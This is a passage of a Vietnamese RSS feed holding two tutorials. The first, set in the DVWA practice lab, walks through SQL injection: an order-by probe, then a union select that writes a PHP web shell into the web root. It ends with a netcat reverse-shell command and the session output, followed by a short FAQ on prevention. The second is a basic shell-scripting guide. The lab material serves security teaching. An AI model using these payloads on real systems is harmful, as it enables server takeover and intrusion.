										<content:encoded><![CDATA[<p>Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. <a href="https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/">SQL injection</a> thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng như một vectơ để chiếm shell. Trong bài này, chúng ta sẽ khai thác một lỗ hổng SQL injection đơn giản để thực thi các lệnh và cuối cùng dịch ngược shell trên máy chủ.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2022/03/sql-injection-shell-1.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2022/03/sql-injection-shell-1.jpg" alt="sql injection shell " width="782" height="512" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 25"></a></p>
<p>Mình sẽ sử dụng DVWA, một máy ảo dễ bị tấn công và Kali Linux để thực hiện cuộc tấn công. Nếu bạn là người mới sử dụng Kali, bạn nên <a href="https://anonyviet.com/10-viec-can-lam-sau-khi-cai-dat-kali-linux/">đọc bài này</a> để biết cách thiết lập và bảo mật Kali, để đảm bảo hệ thống của bạn đã sẵn sàng cho mọi thứ.</p>
<h2>Tổng quan về SQL Injection</h2>
<p>SQL injection là một trong những lỗ hổng phổ biến nhất gặp phải trên web và cũng có thể là một trong những lỗ hổng nguy hiểm nhất. Những kẻ tấn công có thể tiêm các mã SQL độc hại vào để trích xuất thông tin nhạy cảm, sửa đổi hoặc phá hủy dữ liệu hiện có hoặc leo thang cuộc tấn công nhằm chiếm hữu máy chủ.</p>
<p>Có nhiều kiểu tiêm SQL khác nhau và các phương pháp tấn công khác nhau cho các hệ thống cơ sở dữ liệu khác nhau đang được sử dụng. Mặc dù kiểu tấn công này là một trong những kiểu tấn công dễ bắt đầu học nhất, nhưng bạn vẫn có thể mất vài năm để thành thạo SQL injection.</p>
<h3>Bước 1: Thăm dò mục tiêu</h3>
<p>Điều đầu tiên chúng ta cần làm là đăng nhập vào DVWA bằng thông tin đăng nhập mặc định, <strong>admin </strong>là tên người dùng và mật khẩu là <strong>password</strong>.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 18" width="858" height="446" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 26"></p>
<p>Tiếp theo, chuyển đến tab &#8220;Security&#8221; ở bên trái và đặt mức bảo mật thành &#8220;low&#8221;. Điều này sẽ đảm bảo cuộc tấn công của chúng ta sẽ diễn ra suôn sẻ.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-1.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 19" width="1092" height="407" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 27"></p>
<p>Điều hướng đến trang &#8220;SQL Injection&#8221; để bắt đầu cuộc tấn công. Chúng ta có thể thấy rằng chức năng của trang là lấy ID người dùng và trả lại thông tin, trong trường hợp này là họ và tên.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-2.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 20" width="1092" height="409" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 28"></p>
<p>Mình  muốn xác minh rằng đầu vào này thực sự dễ bị tiêm SQL. Điều đầu tiên cần thử là chỉ cần nhập một dấu ngoặc kép duy nhất, điều này sẽ đóng câu lệnh nếu hệ thống thực sự dễ bị tấn công. Và khi mình làm như vậy thì hệ thống trả về lỗi, thậm chí còn cho chúng ta biết cụ thể rằng trang web đang sử dụng MySQL làm cơ sở dữ liệu. Tại thời điểm này, rất có thể chúng ta đã tìm thấy một điểm vào dễ bị tấn công.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-3.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 21" width="717" height="117" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 29"></p>
<p>Điều tiếp theo chúng ta cần làm là liệt kê cơ sở dữ liệu và xác định số cột đang sử dụng. Điều này sẽ cho phép chúng ta khai thác một cách đáng tin cậy lỗ hổng dựa trên union chỉ trong một chút. Để hiểu rõ hơn, chúng ta hãy xem lệnh truy vấn sẽ trông như thế nào trong quá trình gửi đầu vào bình thường:</p>
<pre class="syntax-highlighted"><code class="language-unknown">select first_name, surname from users where user_id='';</code></pre>
<p>Đây có thể là truy vấn trên backend, với <strong>first_name</strong> và <strong>surname</strong> là các cột được chọn, tổng cộng là hai cột. Nhưng chúng ta cần biết chắc chắn để lỗ hổng này hoạt động. Chúng ta có thể sử dụng <strong>order by</strong>.</p>
<p>Mệnh đề này sẽ sắp xếp các kết quả của truy vấn theo các cột. Vì chúng ta khá chắc chắn rằng có ít nhất hai cột đang được sử dụng, nếu chúng ta sẽ sắp xếp theo thứ tự 1 hoặc 2, truy vấn sẽ thành công. Nhưng nếu chúng ta muốn order by 3 thì sao? Nếu chúng ta đúng, thì truy vấn này sẽ xuất hiện lỗi.</p>
<p>Gửi lần tiêm sau làm đầu vào, và nó sẽ dẫn đến lỗi. Dấu thăng được sử dụng ở đây để comment phần còn lại của truy vấn để nó không gây ra bất kỳ lỗi cú pháp bổ sung nào.</p>
<pre class="syntax-highlighted"><code class="language-unknown">' order by 3 #</code></pre>
<p>Các bạn có thể thấy rằng chúng ta thực sự gặp lỗi, vì vậy bây giờ mình biết chắc chắn rằng chỉ có hai cột đang được sử dụng.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-4.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 22" width="603" height="116" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 30"></p>
<h3>Bước 2: Truy cập Shell và khai thác lệnh</h3>
<p>Bây giờ chúng ta đã có thêm một chút thông tin về cơ sở dữ liệu, chúng ta có thể sử dụng điều này làm lợi thế của mình để thực hiện việc tiêm SQL dựa trên <strong>union</strong>. Toán tử union được sử dụng trong SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh select, nhưng để nó hoạt động bình thường, các câu lệnh phải có cùng số cột. Đây là lý do tại sao chúng ta cần tìm hiểu backend sớm hơn.</p>
<p>Có rất nhiều điều chúng ta có thể làm với việc tiêm dựa trên <strong>union</strong>, nhưng trong bài này, chúng ta cần quan tâm đến việc tận dụng lỗ hổng này để chạy các lệnh hệ điều hành. Một trong những cách dễ nhất để thực hiện điều này là tải lên một shell PHP đơn giản để chuyển các lệnh của chúng ta qua.</p>
<p>Chúng ta cần xác định thư mục gốc của máy chủ web để tải shell. Tùy thuộc vào ứng dụng và loại máy chủ web đang sử dụng, thư mục gốc có thể khác nhau, đặc biệt nếu quản trị viên thay đổi vị trí mặc định hoặc có đủ quyền. Đối với mục đích của cuộc tấn công này, mình sẽ giả định rằng gốc web mặc định của Apache (/var/www/) đang được sử dụng với quyền ghi công khai. Thông tin về máy chủ web, bao gồm cả thư mục gốc, thường có thể được tìm thấy trong tệp &#8220;phpinfo.php&#8221;.</p>
<p>Chúng ta có thể sử dụng lệnh into outfile để ghi vào một tệp. Trong trường hợp này, chúng tasẽ chèn một tập lệnh PHP đơn giản để có thể chạy các lệnh hệ thống. Tập lệnh mà mình đặt tên là &#8220;cmd.php&#8221;, sẽ giống như sau:</p>
<pre class="syntax-highlighted"><code class="language-unknown">&lt;?php system($_GET["cmd"]); ?&gt;</code></pre>
<p>Bây giờ, chúng ta sẽ thực hiện tiêm (injection). Chúng ta sẽ cần sử dụng dấu ngoặc kép trong tập lệnh vì chúng ta cần đặt phần thứ hai của câu lệnh trong dấu nháy đơn &#8211; điều này sẽ tránh được lỗi cú pháp. Lệnh tiêm hoàn chỉnh sẽ giống như sau:</p>
<pre class="syntax-highlighted"><code class="language-unknown">' union select 1, '&lt;?php system($_GET["cmd"]); ?&gt;' into outfile '/var/www/dvwa/cmd.php' #</code></pre>
<p>Nếu lệnh này hoạt động bình thường, chúng ta sẽ có thể truy cập shell của mình thông qua URL và bằng cách cung cấp lệnh hệ thống dưới dạng tham số. Ví dụ, whoami sẽ cung cấp cho chúng ta thông tin người dùng hiện tại.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-5.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 23" width="620" height="130" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 31"></p>
<p>Hoặc uname -a, sẽ cung cấp cho chúng ta thông tin về hệ thống.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/03/use-sql-injection-run-os-commands-get-shell.w1456-6.jpg" alt="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 24" width="887" height="133" title="Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 32"></p>
<p>Nhưng việc cung cấp tất cả các lệnh này thông qua tham số URL là một việc rất chán. Chúng ta có thể tận dụng việc này để đảo ngược shell và tiến xa hơn một bước.</p>
<h3>Bước 3: Dịch ngược Shell với Netcat</h3>
<p><a href="https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/" target="_blank" rel="noopener">Netcat</a> là một tiện ích mạng mạnh mẽ được sử dụng để khắc phục sự cố kết nối, nhưng nó thực sự có thể bị tin tặc sử dụng như một backdoor và như một phương pháp để chiếm quyền shell. Rất nhiều bản phân phối Linux được cài đặt tiện ích này theo mặc định, vì vậy nếu chúng ta có thể truy cập công cụ này thì game over.</p>
<p>Trước tiên, mình sẽ cần thiết lập trình lắng nghe trên máy cục bộ của chúng ta. Sử dụng lệnh nc cùng với -lvp để chỉ định nó lắng nghe và để đặt số cổng tương ứng.</p>
<pre class="syntax-highlighted"><code class="language-unknown">nc -lvp 1234
listening on [any] 1234 ...</code></pre>
<p>Tiếp theo, với tư cách là tham số cho shell PHP trong URL, hãy nhập lệnh sau. Nó yêu cầu máy chủ thực thi một shell (-e/bin/sh) và gửi nó trở lại máy cục bộ của chúng ta. Bạn cần đảm bảo sử dụng địa chỉ IP và cổng thích hợp.</p>
<pre class="syntax-highlighted"><code class="language-unknown">nc 172.16.1.100 1234 -e /bin/sh</code></pre>
<p>Hãy đợi một vài giây và chúng ta sẽ thấy trình nghe của chúng ta bắt được shell và mở một kết nối. Từ đây, chúng ta có thể chạy các lệnh như id, uname -a và ps.</p>
<pre class="syntax-highlighted"><code class="language-unknown">connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps</code></pre>
<p>Giờ đây, chúng ta đã có đủ phương tiện để thực thi các lệnh trên máy chủ web từ terminal của chính chúng ta, tất cả đều xuất phát từ một lỗ hổng SQL injection đơn giản. Mình mong qua bài viết thực tế này sẽ giúp bạn tiếp thu nhiều kiến thức hơn.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQL Injection là gì và tại sao nó nguy hiểm?</h3>
<p>SQL Injection là một kỹ thuật tấn công mạng cho phép kẻ xấu đưa mã SQL độc hại vào đầu vào của ứng dụng web, nhằm mục đích truy xuất, sửa đổi hoặc xóa dữ liệu, thậm chí chiếm quyền điều khiển máy chủ.  Sự nguy hiểm nằm ở khả năng leo thang quyền hạn và truy cập trái phép vào hệ thống.</p>
<h3>Làm thế nào để SQL Injection có thể dẫn đến việc chiếm quyền Shell?</h3>
<p>Bằng cách khai thác lỗ hổng SQL Injection, kẻ tấn công có thể thực thi các lệnh hệ điều hành trên máy chủ.  Điều này thường được thực hiện bằng cách chèn mã lệnh (ví dụ: mã PHP) vào cơ sở dữ liệu, sau đó truy cập và thực thi mã đó thông qua một URL, cho phép kẻ tấn công chiếm quyền điều khiển máy chủ.</p>
<h3>Tôi có thể làm gì để bảo vệ hệ thống của mình khỏi SQL Injection?</h3>
<p>Sử dụng các kỹ thuật lập trình an toàn như chuẩn bị câu lệnh (prepared statements), nhập liệu được lọc kỹ càng và tránh sử dụng các hàm có nguy cơ tiêm SQL.  Cập nhật thường xuyên các hệ thống và phần mềm cũng rất quan trọng để vá các lỗ hổng bảo mật.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/su-dung-sql-injection-de-chay-lenh-va-chiem-quyen-shell/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cách viết Shell Script trong Linux/Unix</title>
		<link>https://anonyviet.com/cach-viet-shell-script-trong-linux-unix/</link>
					<comments>https://anonyviet.com/cach-viet-shell-script-trong-linux-unix/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Wed, 17 Feb 2021 01:27:19 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[shell scripting]]></category>
		<category><![CDATA[viết code]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=24824</guid>

					<description><![CDATA[Shell Scripting là một chương trình máy tính mã nguồn mở được thiết kế để chạy bởi Unix/Linux shell. Shell Scripting là chương trình viết một chuỗi lệnh để shell thực thi. Nó có thể kết hợp các chuỗi lệnh dài và lặp đi lặp lại thành một tập lệnh duy nhất và đơn giản [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Shell Scripting là một chương trình máy tính mã nguồn mở được thiết kế để chạy bởi <a href="https://anonyviet.com/category/network/linux/" target="_blank" rel="noopener">Unix/Linux</a> shell. Shell Scripting là chương trình viết một chuỗi lệnh để shell thực thi. Nó có thể kết hợp các chuỗi lệnh dài và lặp đi lặp lại thành một tập lệnh duy nhất và đơn giản có thể được lưu trữ và thực thi bất cứ lúc nào.</strong></p>
<p>Trong bài viết này, bạn sẽ được tìm hiểu các kiến ​​thức cơ bản về chương trình Linux/Unix shell scripting đến các khái niệm nâng cao về Shell Scripting. Bài viết được thiết kế cho người mới bắt đầu và các chuyên gia muốn tìm hiểu Shell Scripting là gì? Cách hoạt động của shell scripting, các loại shell và nhiều thứ khác nữa.</p>
<h2>Shell là gì?</h2>
<p>Shell là một thuật ngữ UNIX chỉ giao diện giữa người dùng và dịch vụ (service) hệ điều hành. Shell cung cấp cho người dùng một giao diện và chấp nhận các lệnh mà người dùng đưa vào hệ thống và thực thi các lệnh đó tự động, cung cấp kết quả của chương trình trong một tập lệnh shell.</p>
<p>Một hệ điều hành được tạo ra từ nhiều thành phần, nhưng hai thành phần chính của nó là:</p>
<ul>
<li>Kernel</li>
<li>Shell</li>
</ul>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/02/35.png" alt="shell script" width="401" height="203" title="Cách viết Shell Script trong Linux/Unix 37"></p>
<p>Kernel là hạt nhân của máy tính. Nó giúp hệ thống có thể giao tiếp giữa phần cứng và phần mềm. Trong khi Kernel là phần trong cùng của hệ điều hành, thì shell là phần ngoài cùng.</p>
<p>Shell trong hệ điều hành Linux nhận đầu vào từ phía client dưới dạng lệnh, xử lý nó và sau đó xuất kết quả đầu ra. Nó là giao diện mà thông qua đó người dùng có thể làm việc trên các chương trình, lệnh và tập lệnh. Shell được truy cập bằng terminal.</p>
<p>Khi bạn chạy terminal, Shell đưa ra một <strong>dấu nhắc lệnh (thường là $)</strong>, nơi bạn có thể nhập lệnh, sau đó sẽ được thực thi khi bạn nhấn phím Enter. Đầu ra hoặc kết quả sau đó sẽ được hiển thị trên terminal.</p>
<p>Shell bao bọc xung quanh phần bên trong mỏng manh của Hệ điều hành, bảo vệ hệ điều hành khỏi bị hư hỏng do tai nạn. Do đó nó có tên gọi là Shell.</p>
<h2>Các loại shell</h2>
<p>Có hai loại shell chính trong Linux:</p>
<ol>
<li><strong>Bourne Shell</strong>: Dấu nhắc cho shell này là $ và các shell con gồm:
<ul style="list-style-type: disc;">
<li>POSIX shell còn được gọi là sh</li>
<li>Korn Shell cũng được gọi là sh</li>
<li>Bourne Again Shell còn được gọi là bash (phổ biến nhất)</li>
</ul>
</li>
<li><strong>C shell</strong>: Dấu nhắc cho shell này là% và các loại khác nhau như
<ul style="list-style-type: disc;">
<li>C shell còn được gọi là csh</li>
<li>Top C shell còn được gọi là tcsh</li>
</ul>
</li>
</ol>
<p>Chúng ta sẽ thảo luận về shell scripting dựa trên bash shell trong bài viết này.</p>
<h2>Cách viết Shell Script trong Linux/Unix</h2>
<p>Shell Scripts được viết bằng các text editors (trình soạn thảo văn bản). Trên hệ thống Linux, hãy mở một chương trình editors, mở một tệp mới để bắt đầu nhập tập lệnh shell hoặc lập trình shell, sau đó cấp quyền cho shell để thực thi shell script và đặt tập lệnh của bạn tại vị trí mà shell có thể tìm thấy.</p>
<p>Các bước tạo Shell Script:</p>
<ol>
<li>Tạo tệp bằng <strong>vi editor</strong> (hoặc bất kỳ trình chỉnh sửa văn bản nào khác). Đặt tên cho tệp script phải có đuôi là .sh</li>
<li>Bắt đầu script bằng <strong>#! /bin/sh</strong></li>
<li>Viết một vài dòng code</li>
<li>Lưu file script dưới dạng filename.sh</li>
<li>Thực thi file script bằng lệnh <strong>bash filename.sh</strong></li>
</ol>
<p><strong>&#8220;#!&#8221;</strong> là một toán tử được gọi là shebang hướng tập lệnh đến vị trí trình thông dịch. Vì vậy, nếu chúng ta sử dụng &#8220;#! /bin/sh&#8221;, tập lệnh sẽ được chuyển hướng đến bourne-shell.</p>
<p>Hãy tạo một script nhỏ:</p>
<pre><code><span style="font-size: 14pt;">#!/bin/sh
ls</span></code></pre>
<p>Các bước để tạo chương trình Shell Script trong Linux / Unix:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/02/36.png" alt="Cách viết Shell Script trong Linux/Unix 28" width="332" height="269" title="Cách viết Shell Script trong Linux/Unix 38"></p>
<p>Lệnh &#8216;ls&#8217; được thực thi khi chúng ta thực thi file scrip sample.sh.</p>
<h2 class="TnITTtw-tpart TnITTtw-t">Thêm shell comments</h2>
<p>Commenting là yếu tố rất quan trọng trong bất kỳ chương trình nào. Trong lập trình Shell, cú pháp để thêm comments là, nội dung sau dấu <strong>#</strong> sẽ không có giá trị, mục đích là giải thích code của tác giả.</p>
<pre><span style="font-size: 14pt;"><code>#comment</code></span></pre>
<div class="TnITTtw-mv-translit TnITTtw-translation-translit TnITTtw-t">Ví dụ:</div>
<div><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/02/37.png" alt="Cách viết Shell Script trong Linux/Unix 29" width="328" height="191" title="Cách viết Shell Script trong Linux/Unix 39"></div>
<h2>Biến trong Shell là gì?</h2>
<p>Như đã thảo luận trước đó, biến lưu trữ dữ liệu dưới dạng ký tự và số. Tương tự, các biến Shell được sử dụng để lưu trữ thông tin và chúng chỉ hoạt động trong shell.</p>
<p>Ví dụ: tạo một biến shell và sau đó in nó ra:</p>
<pre><code><span style="font-size: 14pt;">variable ="Hello"
echo $variable</span></code></pre>
<p>Dưới đây là một script nhỏ sẽ sử dụng biến:</p>
<pre><span style="font-size: 14pt;">#!/bin/sh
echo "what is your name?"
read name
echo "How do you do, $name?"
read remark
echo "I am $remark too!"</span></pre>
<p>Các bước tạo và thực thi script:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/02/38.jpg" alt="Cách viết Shell Script trong Linux/Unix 30" width="320" height="467" title="Cách viết Shell Script trong Linux/Unix 40"></p>
<p>Như bạn thấy, chương trình đã chọn giá trị của biến &#8216;name&#8217; là &#8220;Joy&#8221; và &#8216;remark&#8217; là &#8220;excellent&#8221;.</p>
<p>Đây là một script đơn giản. Bạn có thể phát triển các script nâng cao chứa các câu lệnh, vòng lặp và hàm có điều kiện. Shell Script sẽ giúp cho cuộc sống của bạn và việc quản trị Linux trở nên dễ dàng hơn.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Shell script là gì và tại sao tôi nên sử dụng nó?</h3>
<p>Shell script là một tập lệnh gồm các lệnh Unix/Linux được viết trong một file văn bản.  Nó cho phép bạn tự động hóa các tác vụ lặp lại, kết hợp nhiều lệnh thành một, và tăng hiệu quả công việc quản trị hệ thống.</p>
<h3>Tôi cần những công cụ gì để viết shell script?</h3>
<p>Bạn chỉ cần một trình soạn thảo văn bản (như vi, nano, gedit) để viết script và một terminal để thực thi nó. Hệ điều hành Linux/Unix đã tích hợp sẵn các công cụ cần thiết.</p>
<h3>Làm thế nào để chạy một shell script?</h3>
<p>Sau khi lưu script với đuôi .sh, bạn cần cấp quyền thực thi bằng lệnh <code>chmod +x your_script.sh</code> và sau đó chạy nó bằng lệnh <code>./your_script.sh</code>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-viet-shell-script-trong-linux-unix/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
